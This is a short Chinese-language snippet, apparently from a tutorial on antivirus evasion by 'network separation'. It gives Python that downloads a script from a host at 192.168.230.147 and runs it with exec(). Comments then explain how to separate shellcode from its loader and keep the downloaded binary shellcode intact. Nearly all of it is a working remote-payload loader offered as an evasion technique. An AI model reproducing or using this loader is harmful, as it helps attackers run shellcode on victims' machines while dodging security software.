文章目录
网络分离免杀
import ctypes,requests
resp = requests.get("http://192.168.230.147/security/NetSeparateTrojanImmunity.txt")
exec(resp.text)
# 当然我们可以将shellcode和loader分开获取,甚至需要注意
# 从服务器下载二进制数据(content)时,下载下来会将二进制数据中原有的 / 转义成 //
# 导致这样下载下来的shellcode失效,即便是使用 text 文本类型,如果网页上存放的单单只是 shellcode 那么text是文本类型,还需要将其转变为二进制
# 而转变的过程中还会遇到 / 转义的问题,所以还不如直接整个代码放上去,访问下来直接执行
# 或者就是,先将shellcode以二进制的方式写在文件中,然后在上传到服务器上,然后在写代码从服务器上使用content类型访问到二进制的shellcode即可保持完整类型